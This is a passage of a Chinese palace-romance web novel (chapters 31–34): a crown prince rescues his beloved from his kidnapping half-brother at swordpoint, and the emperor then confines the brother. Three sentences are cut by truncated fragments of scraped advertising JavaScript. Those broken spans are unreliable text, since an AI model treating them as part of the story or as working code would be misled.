谢衡从圈椅起身,语气听上去毫不在乎:“看你毫无用处的份上,就让你多留几天。” 说罢,推门出去了,只留下江露染在原地弥漫上浓重的黑暗。 南风是在两个时辰后才发现江露染不见了,他派人找遍了整个东宫也看不见她的身影。 南风心中越发焦灼,明轩阁中只剩下她摘剩一半的花束。 眼看夜色已至,仍旧找不到江露染的任何踪迹。 南风心中越发焦急,小祖宗,你这是去哪了,殿下回来还不得罚死我。 连忙派人更加紧去寻找,可是仍旧一无所获。 南风心里深知江露染在殿下心中是何等重要的存在,此事万万隐瞒不得,须得尽早告知殿下。 只希望尽早找到江露染,否则殿下回来还不知道会变成什么样呢。 上一次殿下惩治宫人时的戾气满身,南风此时还历历在目。 京中围剿青莲教已经进入收尾阶段,谢知寒看到飞鸽传书,以为是南风来给自己汇报晓晓此时正在做什么。 然而,当他打开信纸,看到纸上的内容时,面容却倏地一变。 本来淡然而疏朗,对一切都稳操胜券的太子殿下此时浑身都沾染了一股难以言说的戾气。 周围人都觉察到了来自太子身上冷厉的压迫感。 还以为是自己做错了事情招来太子殿下的怒意,但谁知一向知礼的太子看都没有看他们。 而是对着他们放下一句:“孤有要事,要先回宫一趟。” 31. 第 31 章 可是这里的事情还没有办完,其余众人站在原地,面面相觑。 但看着一向清冷矜贵的太子殿下面容带着不容置喙的冰寒,想来是宫中发生了十分紧急的事情,需要太子殿下亲自过去。 东宫的事情哪里是自己这些人可以窥得一二的。 只好看着殿下迅疾的消失在自己面前。 晓晓不见了。 谢知寒骑在马上回想着纸条上的字迹,晓晓怎么会不见了? 她曾对自己承诺会乖乖地等他回来。 他甚至还没有给她买她最爱吃的糕点,她怎么能不见了。 南风既然能给自己传来消息,就证明晓晓不在东宫。 晓晓一向心思单纯,若想让她出东宫,只能去哄骗她。 而宫中最有可能将晓晓从东宫骗走的人只有谢衡。 思及此,谢知寒眉眼间的冷峻加重了几分,眉眼间透露出一股凛冽的杀伐之意。 这世间任何人都不能动他的晓晓,她是他的底线。 已是夜深,几乎快看不清道路,谢知寒骑在马上的速度反而加快了,所过之处,留下一阵如风般迅疾的马蹄印迹。 谢知寒回到东宫时,宫人已经跪了一地,空气中弥漫着冷沉的寂静,宫人也感受到来自谢知寒身上凛冽的杀伐之意,更是小心翼翼,连呼吸声都放轻了。 他是太子,是整个国都最尊贵之人,身居高位,手握权柄。 此时他怒意滔天,没有任何一个宫人胆敢承受来自储君的怒意。 南风低眉拱手将详细情况说了一遍,谢知寒眉眼沉沉,向南风看了一眼。 仅仅只是一眼,却带来无比严重的压迫感,南风立刻跪地:“属下有罪。” 谢知寒径直穿过南风向殿内走去,没让他起。 南风自知愧对殿下出行前嘱托,头垂的很低。 谢知寒一步一步走向殿内,而后缓缓从墙壁上取下风华,利刃出鞘,只余剑鞘落在地上的叮铃声。 薄薄的剑刃在月光下泛着泠泠的寒光,谢知寒眼眸中带着神佛无惧的杀意,南风有些心惊,殿下他此时看上去也过于可怖了些。 以往何曾看到过殿下这幅模样,殿下如此皆是因为一个女子。 南风深知自己已经犯错,但还是尽力劝阻:“殿下,属下知道您心系江姑娘,可是宫规森严,还请您三思啊。” 谢知寒却恍若未闻,穿过南风径直向前走去。 谢衡此时正在昆德殿习字,父皇曾经夸过几句他的字写的还不错,但比起谢知寒还是有所欠缺。 从那以后他就比以前更加努力习字,只为能早日超过谢知寒。 昆德殿中的宫人第一次看到一向知礼的太子殿下来访,且手中还拿着一柄锋利无比的宝剑。 他清俊的眉眼中透露出清晰无比的杀意,宫人皆连连后退,不敢阻拦。 昆德殿的内侍眼看情况不对,立即去向谢衡禀报。 谢衡练字的手微微一顿,墨迹在宣纸上慢慢晕染开来。 “你说谁来了?” 谢衡得知谢知寒的到来还有些不可置信,毕竟谢知寒此时应当还在宫外督办青莲教的事情。 但眼前的内侍抖若筛糠,明显不似说谎。 谢衡轻嗤一声,不就是太子,之前又不是没见过,何至于害怕成这个样子,内侍就是内侍,上不得半点台面。 谢衡将手中笔放下,走出了书房。 然而一推开书房门,就有一柄长剑直直向着他的脖颈袭来,堪堪停在他面前。 谢衡微微动了动,但谢知寒拿着剑柄的手指极稳,谢衡根本没有任何逃离的可能。 他看着面前冷峻且面带杀伐的谢知寒,语气瞬间软了下来。 “好端端的,皇兄这是要做什么?” 谢知寒完全不理谢衡的拖延,直接开口,语气冰寒。 “晓晓在哪里?” 谢衡面色一顿,他这件事情做的隐秘至极,谢知寒是如何得知,况且青莲教的事情这么快就处理好了? “皇兄说的什么,我完全听不懂啊,什么晓晓,晓晓是谁?” 谢知寒微微眯起眼瞳,比夜色还要漆黑的瞳孔散发出人尽皆知的危险,他手中的宝剑又向前送了送,谢衡的脖颈处瞬间出现了一道血痕,疼痛的触感很快蔓延至全身,谢衡此时才想起求饶。 谢知寒今日是疯了不成。 谢知寒眉眼淡淡,似乎根本没有看到谢衡脖颈处的血迹。 他缓声开口,一字一句在暗夜中听上去极为清晰:“不要让孤说第二遍。” “孤可没有那个耐心。” 谢衡在此时才明白谢知寒此番不是来跟他闹着玩的,在性命的逼迫之下,终于说出了江露染所在之地。 很快便有内侍带着谢知寒前去,很快变到了晓晓所在的房间。 隔着一道木质的房门,谢知寒脚步微顿,将手中利剑交给一旁的宫人,那剑刃之上染了血,不能让晓晓为他担心。 想了想,他又脱下了自己的外袍,这几日一直在外办案,外袍也有些旧了,如此来见晓晓有些不得体。 他敛去眉眼之间的戾气与杀伐,一切整理好之后,他才缓缓推开了房门。 江露染早就听到门外有声音,以为是谢衡来了,她向角落中挪了挪,眉眼之中满是坚韧。 若是谢衡意图对自己图谋不轨,那她就和谢衡一起同归于尽。 省的他再去给殿下添麻烦。 房门打开,一道清隽的身影在月色下投射过来,看上去有些熟悉。 伴着缓缓脚步声弥漫而来的,还有江露染熟悉至极的清冷檀香味。 江露染不可置信地抬头,是殿下,殿下怎么会来到这里? 谢知寒走至少女身边,将束缚住她的绳索解开,少女皮肤白皙娇嫩,手腕脚腕之处早就泛起了薄红。 谢知寒在她手腕处轻轻揉了揉。 江露染望着面前人的脸庞,正是她思念了好多时日的殿下。她明明知晓此时不该哭的,可是此时心中思绪翻涌,方才她真的以为她要死了,眼眸中不自觉浮出水雾。 谢知寒看着她微乱的发髻,抬手将她歪斜的珠钗扶正,而后将她滑落的盈盈泪珠擦掉。 他注意到晓晓的绣鞋有些掉落,缓缓蹲下身轻轻握住她的脚踝,殿下的手指有些凉,且一旁还有人看着,江露染面上染上羞赧,想躲开,覆在脚踝上的手指却稍稍用了些力气,将她控制住,认真为她穿好了绣鞋。 而后一字一句道:"晓晓别怕,孤带你回家。" 而后将眼前的少女抱到自己怀中,接过一旁内侍递来的新 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的氅衣,将少女全身拢住,旁人看不到一丝一毫。 就这样在众人的视线之下,抱着江露染径直走出了昆德殿。 面前的甬道长且看不到尽头,但是江露染在谢知寒怀中,却感觉到无比安心。 殿下的怀抱是那样温暖,她几乎要舍不得离开了。 回东宫的路还有好久,江露染有些羞赧:“殿下,我可以自己走的。” 谢知寒只是淡淡地“嗯”了一声,抱着她的手臂却丝毫未松。 月色照耀下来,给二人身上镀上一层淡淡的银霜。 江露染在谢知寒怀中有些害羞,不自觉地缩了缩。 她突然想到什么,开口:“殿下为何会在此时回来,是事情办完了吗?” 少女的声音清泠,听在谢知寒耳中如泉水叮咚。 什么事情,那些所谓的事情比起晓晓来说自然是算不了什么,没有什么事情可以比他的晓晓更重要。 “嗯。”谢知寒又淡淡地回了一句。 虽然只是淡淡地回了一句,但听在江露染耳中仍旧心安。 谢知寒一路抱着江露染回了东宫,东宫殿内的宫人仍旧跪了一地,谢知寒将江露染在明轩阁安置好,而后才叫宫人起。 对着南风淡淡道:“自己去领责罚。” 南风眼看殿下亲自寻回了人,心中才安定下来,幸好殿下将人完整寻了回来,若是江露染出了什么差错,自己就是有十条命也不够抵的。 哪里还管什么责罚不责罚。 安置好宫人,谢知寒转身便入了明轩阁。 一眼就看到江露染在整理妆发,他的晓晓本来就很出众,根本不需要抹那些脂粉。 谢知寒将人牵到小塌旁,取过一旁的药膏给她的手腕处涂药,药膏清凉,涂在红肿处很是舒服。 可是这点小事她自己就可以做,哪里需要劳烦殿下。 “殿下,我自己可以的。” 谢知寒看她一眼,捏着她手腕的手指却没动。 “晓晓,以后若是孤不再,晓晓不可以随意出东宫。” 想了想,他又加了一句:“谁来也不行。” 江露染想到此番,便知晓自己又做错了,一定是又给殿下添了麻烦。 她垂下头,声音有些瓮声瓮气:“殿下,晓晓错了。” 眼看面前的小姑娘露出不开心,他伸出手指捏住少女尖尖的下巴,让她直视着自己。 “晓晓没有错,是孤考虑不周,晓晓可以原谅孤吗?” 他的晓晓再一次处于危险之中。 殿下他怎么...这么温柔,江露染看着面前那张清隽的面庞,控制不住上去吻了一下。 柔软的触感一触即离。 随后江露染面色不忿,殿下如此好的人,竟敢还有人说他蠢笨。 那个什么二皇子,也不看看自己到底是个模样,竟然也来诋毁殿下,简直就是不自量力。 殿下是世上最皎洁的那轮明月。 而他,就是一个无比庸常之人。 无比庸常! 谢知寒明显感知到少女情绪的转变,不由得好奇:“晓晓在想些什么?” 江露染气的面色鼓起来:“殿下,我讨厌那个二皇子,他竟然敢说你...说你...蠢笨无比,我真是太讨厌他了!” 32. 第 32 章 谢知寒:... 谢衡竟然如此说过自己么,不过没关系,他早晚让他知道胡乱说话的下场。 何况还是在晓晓面前如此诋毁自己。 幸好他的晓晓有明辨是非的能力,否则真要被谢衡诓骗了去。 谢知寒两指抚着少女尖尖的下巴,未施脂粉,但仍旧细腻光滑。 江露染望着谢知寒浓黑似墨的眼瞳,突然感觉那双眼瞳中传来一束危险的光,直直地向自己看过来。 他的声音就在下一瞬响起:“晓晓,在孤面前,不许想别人。” “可是谢衡是坏人。”她小声地辩解,又不是以往自己经常在街上肆意打量的俊俏少年郎。 “坏人也不行,谁也不可以。” 他的嗓音有些哑,听上去更显磁沉,且还有比平时更多几分的偏执,江露染望他片刻,小声腹诽道:“殿下真小气。” 明明就是一句极小声地抱怨,可是谢知寒仍旧清晰无比地听到。 一个字也没有落下。 他抚着她下巴的手指微微用力,望进少女宛如清泉般的眼瞳,一字一句道:“晓晓说什么?” 她没有想到他竟然真的听到,很快意识到自己在殿下面前说错话。 可是说出口的话语就如泼出去的水,这让她如何收回来。 她眉毛微微拧起,似乎在考虑对策。 要不然就夸夸殿下,殿下他开心了就不会计较自己的言行。 “晓晓方才说殿下真好看,殿下是世上最好看的人了,谁也比不过。” 谢知寒仔细看她,竟然想用这种浅显的方法蒙混过关,但他唇角到底还是蔓延出笑意。 他还是真吃她的这一套。 谢知寒认真地为她涂手腕处的伤痕,药膏微凉,手腕上的疼痛渐渐缓解。 殿下的手指修长好看,骨节分明,殿下是如何做到哪里都这么出众的呢。 轻轻松松就可以做到这么好,简直就是太气人了。 不过幸好,这么优秀的人是她的殿下。 谢知寒将她抱到榻上,想为她涂脚踝上的伤口,江露染明显地感觉到,她有些害羞,想掩住,粉色裙角动了动。 谢知寒自然是明白她的意思。 “晓晓还有孤不能看的地方?” 江露染想了想,殿下好像说的也对,当时回京路上还是殿下为自己涂的药。 那个地方比现在的脚踝更加...更加令人害羞。 虽然想明白,但是耳后仍旧漫上薄红,脸上似乎也烧起来。 男女授受不亲,虽然她也心悦殿下,可是毕竟那个时候她是昏迷的,况且那个时候生着病,哪里有什么心思去思考其他旖旎之事。 但是现在情况就不同了,她现在是清醒的,而且殿下他就在自己面前,一想到要在殿下面前...露出脚踝,就感觉好害羞。 她觉得还是有必要为自己再争取一下。 “殿下...男女授受不亲...这样不太好吧,其实我也可以自己涂的。” 谢知寒望她一眼,少女稠丽的眉眼间染上薄粉,像是一朵刚刚盛开的粉色花束。 娇艳又惹人怜惜。 “跟晓晓相处这么久,孤倒是不知道晓晓如此爱害羞。” 殿下的言下之意是,她平时比较豪放,一点也不拘谨? 殿下怎么可以这么说她!她明明心思也是很细腻的! 眼看少女因为自己的话明显就要想歪,谢知寒连忙将话题纠正回来。 “晓晓乖,听孤的话,上了药就不会疼了。” 说着,不顾她的躲避控制住她,而后脱去了她的鞋袜,露出一段纤细雪白的皮肤,那里的皮肤似冬日新雪般白皙,只是围绕了一圈暗红色的伤痕,看上去就很疼。 谢知寒指尖涂上药膏,一点点覆在她的伤痕上,期间小姑娘数次想躲避,都被他轻轻地控制住。 药膏有些凉,涂在伤口上很舒服。 谢知寒一点点将药膏涂完,药膏吸收的很快,涂完药膏谢知寒将小姑娘的绣鞋穿好。 而此时的江露染面上还是有些不自然。 谢知寒温柔地哄面前的人:“这有什么,晓晓早晚都是孤的太子妃,哪里还用害羞这些。” 江露染看他一眼,殿下怎么又说这个。 明明说过她不想当太子妃,会为殿下带来麻烦的。 她不想为殿下带来麻烦。 再说太子妃想必要拘束的多,那么多礼仪哪里是她学的会的。 “殿下...”少女的脸皱成一个小包子,看上去很是苦恼。 谢知寒抚了一下她的鼻尖:“好了,不逗晓晓了,跟孤说说是何人将你骗出去的。” 江露染回忆了一下那个宫人的样貌,仔仔细细对谢知寒描述。 “那个宫人穿了一身浅青色的宫装。” 听上去倒是很常见,宫女的装束几乎全是浅青色。 “那个宫人长的很温婉。” 这个倒是也比较常见,宫中宫人大多都很温婉。 “那个宫人声音也比较柔顺。” 这个也没有什么与众不同,宫人语调大多都很柔顺。 江露染说了许多,但听在谢知寒耳中,似乎没有重要的点。 江露染最后愤愤不平道:“但最重要的是她竟然拿南风骗我,她说南风遇到危险,我才会一时着急跟她出去的,换做旁人我才不会出明轩阁。” 言辞凿凿,颇有几分信誓旦旦的意外。 谢知寒抚着她发烧的手指微顿,旁人,若是那宫人说了自己的名讳,晓晓是不会跟她出去的吗? 停顿片刻,他继续抚着她的发梢,继而问道:“若是那宫人用孤做诱饵,那么晓晓会怎么做呢?” 江露染闻言,抬眸看他,眼神清澈,波光粼粼。 “若是她用殿下做诱饵,那我一定不会饶了她的。” “为何?” “因为殿下那么好,别人不可以用殿下做诱饵。” 望着小姑娘信誓旦旦的模样,谢知寒不自觉用指尖抚了一下她的鼻尖。 眼看夜已深沉,月色逐渐蔓延上来。 不可以再打扰小姑娘就寝,她才回来,想必心中是很担惊受怕的。 应该让她好好休息。 想着,谢知寒将自己胸口一直佩戴的白色骨哨放到江露染手中。 “若是以后再有这种不测,晓晓就吹响这个骨哨,不管孤在哪里,听到这个骨哨必定会回到晓晓身边。” 江露染看着这个骨哨,想起殿下那日遇刺吹响的就是这个白色骨哨。 这个对殿下来说一定是很重要的东西,她不可以收下如此贵重的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 物品。 “不,殿下这是用来保护你的,晓晓不可以拿殿下的物品。” 谢知寒却自顾自将她手心那枚白色骨哨拿起,仔细地为她戴在细白的颈间。 带好之后,他又认真端详了会儿,绳子似乎有些长了,垂下来的长度有些太多。 谢知寒又仔细地为江露染调整好绳子的长度,直到合适为止。 江露染动了动手指,想将骨哨取下。 然而谢知寒却按住她的手:“晓晓戴着它很合适,孤将这个骨哨先放在晓晓这里,晓晓不肯答应孤吗?” 他的声音不知为何听上去有些莫名的委屈,似乎自己不答应殿下他就会伤心。 她怎么舍得让他伤心。 她将骨哨塞到衣衫里,骨哨贴在她细腻的肌肤之上,有些凉,但逐渐就变得暖起来。 “好,那我就暂时先替殿下戴着它,但是殿下一定要记得将它收回。” 这是殿下用来保命的贵重物品,虽然不知道它的具体来历,但她绝对不可以让殿下如此贵重的物品丢失。 殿下既然让她好好戴着,那么她就会替殿下妥善收好。 谢知寒看着少女认真将骨哨收好的郑重模样,眉眼间染上温柔。 “好。”他对她承诺。 哪里还有什么收回的必要,这个骨哨给她了,就是给她了。 他不在她身边的时候,母后留下的那些人可以用来保护晓晓。 不过方才看她谨慎的模样,若是直接告知她,她一定不会收下。 只好迂回一下。 夜色已深,他倒是真的该走了。 谢知寒眉眼一沉,该早日将晓晓立为太子妃,老是这样让他的晓晓受到非议,这算什么。 * 眼看着费劲心思带回来的人就这样被谢知寒直接带走,谢衡简直是羞愤欲死。 谢知寒竟然拿自己的昆德殿如此随意,想来就来,想走便走,他如此不把自己的昆德殿放在眼里,父皇还在世呢。 谢知寒还真把自己当皇帝了。 谢衡附上自己脖颈处的伤口,宫人看着他阴郁的面色有些害怕,下手稍稍中了些。 谢衡顿时唤起来:“你到底会不会涂药,换人。” 涂药的宫人立即出去,很快进来新的宫人。 李贵妃恰巧在此时走入昆德殿,看着谢衡脖颈上那道伤口,眉眼之间很快染上忧心。 “到底是谁敢在宫闱之中将你伤的那么深?不想活了不成?” 宫人包扎好伤口立即退立在一侧,谢衡抚上伤口,不断发出哀嚎。 “是谁母后不都听说了吗?还要儿臣自己说出口?”他有些生气。 如此明显的事实母后还要再问他一遍,这不是再打他的脸吗? 他也是要面子的。 李贵妃面色倏然一沉,有些不敢置信。 “他们说的都是真的,是谢知寒将你伤的如此严重?” 谢衡看了一眼李贵妃,母后以往很是注重礼节,就连自己不经意唤出太子名讳,也要被母后骂上半天。 今次竟然连母后也如此做了,可见母后是真的动怒了。 谢衡在一旁添油加醋:“可不是吗,母后,皇兄他手持长剑就这么直直闯进来,还在儿臣脖颈中伤了这么重的伤,可见根本没把儿臣放在眼里。” 33. 第 33 章 李贵妃看他一眼,这么明显的事情还用他说,她明明自己就可以看出来。 但还是非常心疼谢衡,她仔细倾身去看谢衡脖颈上的伤口,虽然已经被包扎住,但是还是看到长长的一道。 “疼不疼?” 谢衡捂住脖颈上的伤口,对着李贵妃连连点头。 “母后,难道你就这样看着我受委屈?” 一想到谢知寒如此狂妄的模样,谢衡就泛起怒意。 “你伤成这样,总得让你父皇知晓吧。” 谢衡眼前一亮,母后说的对,父皇此时还不知晓这件事。 若是让父皇知晓谢知寒在宫中如此胆大妄为,谢知寒岂不是要受苦。 想起上次谢知寒曾经被父皇罚过仗刑,谢衡心中就放松下来。 父皇一定会觉得没有罚够,也是,上次的刑罚已经很重了,谢知寒怎么能不吸取教训呢。 怎么还是如此胆大妄为。 谢衡在心中腹诽了很多谢知寒的不是,可就是完全没有想到这是他自己的错误。 他完全将自己把江露染劫走这件事抛之脑后。 “多谢母后提点。” 说完,谢衡就起身欲去明光殿。 李贵妃在一旁也站起身来,对着他道:“母后和你一起去。” 二人很快到了明光殿,青奚帝此时刚服下药丸,准备休息。 内侍通传之后二人进入殿内,青奚帝脸上一阵乏累,但看着谢衡的眼神却是有些不善。 他甚至都没有问一句他脖颈上的伤是怎么来的。 李贵妃隐隐感觉哪里有些不对劲,但还是温顺地向青奚帝行了礼。 青奚帝视线凝在她身上,等了一会儿才叫人起来。 李贵妃试探着向青奚帝诉苦:“臣妾今次来是为了衡儿。”说着,脸颊上落下两行清泪。 青奚帝抬起眼皮看了她一会儿,并未说什么。 只是眼神中传来的一阵冰寒。 谢衡也随着李贵妃开口:“是啊,父皇,昨日不知皇兄为何突然来儿臣殿中,手执长剑就如此伤了儿臣,儿臣倒也不是要在背后腹诽皇兄,只是想到这在宫中似乎是不太合规。” 殿中静寂无声,一向自恃宠爱,能懂帝心的李贵妃也觉察到了一丝不对劲。 青奚帝抬了抬眼皮,眉眼之中已然是染上了怒气。 青奚帝一向疼爱他这个皇子,谢衡本以为今次也可以得到青奚帝的垂怜,但是谁料,谢衡听到的却是青奚帝雷霆般震怒的声音。 “你自己做了什么,你心中不清楚吗?还要到朕的面前来。” 一字一句,宛如天怒。 李贵妃和谢衡顿时跪下来请罪,但仍旧不知晓发生了何事。 明明受委屈的是自己,为何青奚帝却如此震怒。 下一瞬,青奚帝的声音就重重地砸来。 “朕竟然不知晓朕的好儿子竟然与青莲教有所牵扯,太子没有要你的命就已经不错了。谢衡,你倒是给朕好好说说,这到底是什么时候的事。” 谢衡顿时抖若筛糠,父皇他是什么时候知道的这件事。 谢知寒明明是提早回来,青奚帝不应当在此时知晓。 谢衡心乱如麻,父皇这还是第一次连名带姓直呼自己的名讳。 而他生起气来的模样竟然是如此可怕,天气已经凉爽,可谢衡的额角还是留下几滴汗珠。 眼见谢衡跪在原地迟迟不讲话,青奚帝耐心已经逐渐告罄。 “说话。” 只是简简单单的两个字,却带着无尽的压迫。 “回父皇,儿臣...儿臣...不知晓父皇所说什么意思...” 事到临头还在跟他隐瞒和狡辩,青奚帝最受不得此种行为。 “你私下随意勾结青莲教,还与青莲教的人勾结暗杀太子。谢衡,你可知罪?” 若是他自己坦白,他还可以给他轻些惩处。 但谢衡执迷不悟,就休怪他无情。 毕竟,青莲教可是他心中的一根刺,谢衡竟然胆敢与青莲教的人有所勾结。 简直就是不知死活。 李贵妃一听事态不对,她一向受青奚帝宠爱,哪里听到过他的一句重话。 今日才明白,她和谢衡也不过就是帝王手中随意豢养的猫犬,不想要的时候可以肆意抛弃。 往日她的确是过于顺风顺水了些。 李贵妃向前膝行了几步,抱住青奚帝明黄色的袍角。 青奚帝却是连看她一眼都觉得烦,一脚将面前的女人踢开。 冷酷无情地开口:“来人,二皇子谢衡与青莲教有染,幽禁于昆德殿,无朕旨意不得出。” 青奚帝如此一说,二人皆是浑身一颤。 这旨意下的也太薄情,难道陛下不记得以往的情谊了吗? 青奚帝下完旨令,却是看也不看二人一眼,径直让宫人将二人拖走了。 二皇子失宠于陛下,幽禁于昆德殿一事很快就传播开来。 很多人立刻就想到昨日太子殿下持剑进入昆德殿一事。 太子此行极为不妥,众人都以为今日受罚的会是太子,但谁能料想受罚的会是二皇子。 且还是如此重的刑罚,没有陛下的旨意不得出殿。 众人心中又对谢知寒畏惧了几分。 太子殿下看上去一向冷冷清清,面色从容,看上去对什么事情都不怎么上心的模样。 但自从那日殿下从宫外带回了一名少女,一切都不一样了。 如今二皇子已经势力大不如从前,东宫看来比以往还要威严了。 不能轻易招惹太子殿下,更不能招惹殿下带回来的那名少女,毕竟昨日殿下就是因为那名女子才去夜闯昆德殿。 * 江露染听到这个消息的时候,已经是次日午后。 彼时浅金的阳光透过支摘窗,斜斜地照射到殿内,带来一片温暖。 “谢衡就这样被幽禁了?” 江露染简直不可置信,明明昨日看上去还那么猖狂的人,今日就被幽禁了。 简直是难以想象。 谢知寒听到她在一旁小声嘀咕,直接追问:“难以想象什么?” “当然是谢衡啊,昨日还那样厉害,今日就被罚了,真是难以想象。” 谢衡。 谢知寒下棋的手指一顿,他本来是可以给他留些时日,但是谁让他昨日动了晓晓。 况且他与青莲教勾结是事实。 青奚帝早就对青莲教深恶痛绝,谢衡这样做就是触到青奚帝逆鳞而已。 将他幽禁在昆德殿他认为还是轻了。 不过让自己这个一向不知深浅的弟弟认真反省一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 下也好。 让他记住什么是该动的,而什么是他碰不得的。 谢知寒重新将手中黑子稳稳落于棋盘之上,而后将江露染唤到自己身边来。 “晓晓。” “殿下有何事?” 谢知寒将白子塞入她手指之间,携着她的指尖向前。 “孤教你下棋。” 一听下棋江露染脸上就皱起来,像个雪白的小包子。 她试图逃脱,对着谢知寒盈盈一笑:“殿下,要不你还是练字吧,我可以为你研磨。” “或者看书也可以,我可以在一旁陪读,保准殿下不会犯困。” 谢知寒看她一眼,自己肯定是不会犯困的,倒时会犯困的人也不知是谁。 但是此时也不是讨论这个的时候。 他想让他的晓晓多学习一下围棋中的心法,这样即使他不在的时候她也可以自保。 感受到掌心中细白手指想抽离,他稍稍用了些力气将她牵过来。 小姑娘被迫站在棋盘一侧,看着棋盘上黑白分明的旗子,她脸色有些苦大仇深。 “殿下,你还是放过我吧。” 她狡黠的眸子转了转,对着面前身穿白衣的清冷男子交换条件。 “晚膳我给殿下做好吃的食物,怎么样?” 江露染自以为这个条件提的没有问题,甚至还很好,绝对可以拿下他。 然而,谢知寒却只是淡淡看了她一眼。 “晓晓可以先从简单的学起。” 怎么还是要学啊。 谢知寒却完全不理小姑娘眼中确切的乞求,让小姑娘在自己另一侧坐下。 而后对着她讲解,最终让她先走。 江露染随意下了一个地方,谢知寒而后下了另一枚。 江露染看着面前的棋局,始终有些心不在焉。 殿下为何让自己学习这些东西,棋局殿下会就可以了呀。 两个人之间有一个会下就可以了嘛。 想通这个道理,江露染就开始随意在棋盘上落子,根本不在意棋局。 江露染又随意落下一枚旗子,谢知寒看了她一眼,眉眼仍旧淡淡,看不出什么明显的情绪。 而后,他缓缓开口,带着些哄人的意味。 “晓晓若是认真与孤下完这一局,孤有奖励。” 小姑娘的眼神立刻明亮起来,眼瞳中闪动着泠泠的光芒,像是波光粼粼的湖面。 “殿下会给什么奖励?”她向他的方向微微靠近。 谢知寒看了一眼棋盘,意思很是明显。 江露染眼神中带了认真,开始认真思考起来下一步该怎么走。 当然结局还是输给了谢知寒。 “其实不怪我笨,今天殿下讲的我都听懂了。” 谢知寒迎合着她微微点头。 “我是第一次学围棋,殿下都不让着我些。” 江露染小声嘀咕,但是很快想到殿下所说的奖励。 “殿下要给我什么奖励?” 她走上前亲密地挽住他的手臂,肆意地嗅着来自他身上的檀香。 谢知寒任由她攀附着自己,拿出一个楠木妆匣,打开里面是一枚翡翠镯子,一看就价值不菲。 谢知寒将镯子戴在她细白如雪的手腕上,而后道:“这是母后曾经最喜欢的镯子。” 34. 第 34 章 江露染抬头看他,殿下这是何意? 既然是先皇后的镯子,更应该妥善保管才是。 谢知寒深深看她,他的瞳孔墨黑,眼中倒映着盈盈月色,而月色的最中心则是江露染。 他将镯子认真为她戴好,她的手腕很细,握着时可以触到一段清晰的腕骨,看来以后得让膳房多做一些吃的。 谢知寒握着她的手腕不容许她逃避分毫。 而后带着她去了先皇后曾经居住的长乐宫,自从先皇后离世,长乐宫就被青奚帝明令禁止入内。 而今日来的人却是太子殿下。 宫人也深知二皇子失宠于陛下,那么这位太子殿下确切无疑就是未来的储君。 无人敢对未来的储君不敬。 何况这座长乐宫的主人还是太子殿下的亲生母亲。 宫人很快退避到一旁,但也有胆子大一些的宫人,趁着谢知寒不注意,偷偷看向太子殿下身侧的少女。 明眸皓齿,天香国色,美艳不可方物,果真是个倾国倾城的美人。 怪不得太子殿下会将这名少女放在心尖子上。 谢知寒就这样牵着江露染的手腕一路畅通无阻,径直走入长乐宫中。 长乐宫久无人居住,夜晚自然也是未燃烛火,谢知寒打开火折子,将烛火点燃,长乐宫瞬时明亮起来。 宫人显然也是定时打扫,宫中陈设依旧干净。 宫中物品摆件还是一如以往,恰如母后在时的模样。 谢知寒径直将江露染带入内室,纤尘不染的墙壁上挂了一幅女子的画像。 眉目含笑,温婉无比。 与谢知寒眉眼间有七八分相像。 江露染看了一眼殿下,很快就猜到画像女子的身份。 两人一起对墙上的女子行了个礼。 而后,就听到谢知寒清沉的声音一字一句道:“母后,儿臣今日带晓晓来看你,希望母后可以不嫌弃儿臣今日才过来,晓晓她是一个很好的女孩,儿臣非常...非常喜欢她,母后若是见了她,也一定会喜欢她的。儿臣今日将母后曾经留下来的镯子给了晓晓,母后,儿臣希望晓晓可以一直戴着它。” 说完,谢知寒捏了一下江露染的手,示意她说些什么。 听到谢知寒方才的话,江露染已是有些羞赧,但她还是鼓起勇气看向画像中的女子。 这是殿下的母亲,她应该大方一些。 “伯母,我和殿下今日来看你,我想告诉伯母,殿下他如今很好,伯母不需要为殿下挂怀,伯母也不要担忧,因为我会一直陪伴在殿下身边,我会好好照顾他的。” 江露染好像意识到自己说的哪里不对,自从相识以来一直就是殿下在照顾自己。 何来她照顾殿下一说。 谢知寒此时也望了她一眼,眉眼间带了几分笑意。 江露染顿时羞赧起来,连耳尖也染上一层薄红。 月上梢头,夜色已十分深沉了。 谢知寒又对着墙上的画像说了几句家常,而后牵起江露染的手,对着画像上的女子道:“母后,今日夜深,我和晓晓下次再来看望母后。” 他吹灭灯烛,长乐宫重新回归一片寂静。 回东宫的路上,谢知寒仍旧紧紧牵着江露染的手,江露染望着谢知寒清晰的下颌,用力回握了身边男子的手。 直到两人十指紧扣,再不分离。 月色无比温柔地照耀在二人身上,他们在甬道上映下长长的影,身后的影也是紧紧相依着。 想起方才画像上的女子,温婉美丽无人能及,只是秀丽的眉宇间似乎沾着无数哀愁。 到底是何事能让这位美丽的先皇后如此哀愁呢? 江露染情不自禁地问出声来。 谢知寒握着她的手指稍微用了些力气,说出口的话也带着几分不自然。 “自从小时候,母后就一直不怎么开心,后来母后与父皇的关系越发紧张,几乎是每次见面就会争吵。后来母后就很少见父皇了,但母后仍旧不开心,父皇一直未曾选过其他妃子,但是那次竟然破天荒的立了李氏为贵妃。母后从那以后就一病不起,这一病,就再也没有好起来。” “我一直以为母后讨厌父皇,但母后最后的时刻,口中依旧呢喃着父皇的名讳,我才知晓,原来母后心中还是爱着父皇的,只是一直到母后离开,父皇也没来看过她。” 母后虽然居于长乐宫,但她这一生,又有过多少长乐的时光呢? 而帝王的情爱,掺杂着怀疑,掺杂着利用和欺骗,是不可以轻易相信的。 从那以后,他就发誓,他绝对不要做父皇这样的人,他不会辜负一个女子的一生。 他若是选定一个人,就必定会一生一世对她好。 很幸运的是,他遇见了那个想为之守护一生的人。 也幸好,他此时有保护她的能力。 上天对他还是很仁慈的。 原来殿下小时候过的是这样的生活,伴随着他身边最亲近的两个人的争吵度过,伴随着来自父亲的不喜和厌恶长大。 殿下他...想必一定受了很多苦吧。 江露染握紧身边男子的手,放心殿下,有我在,绝对不会让你以后再受到一丝一毫难过。 昨夜谢知寒去了长乐宫的事很快被人传到御前。 青奚帝眼眸微微眯了眯,他分明说过不许任何人去探望先皇后。 谢知寒竟然还敢当着众人的面去探望,而且身边还带着一个女子。 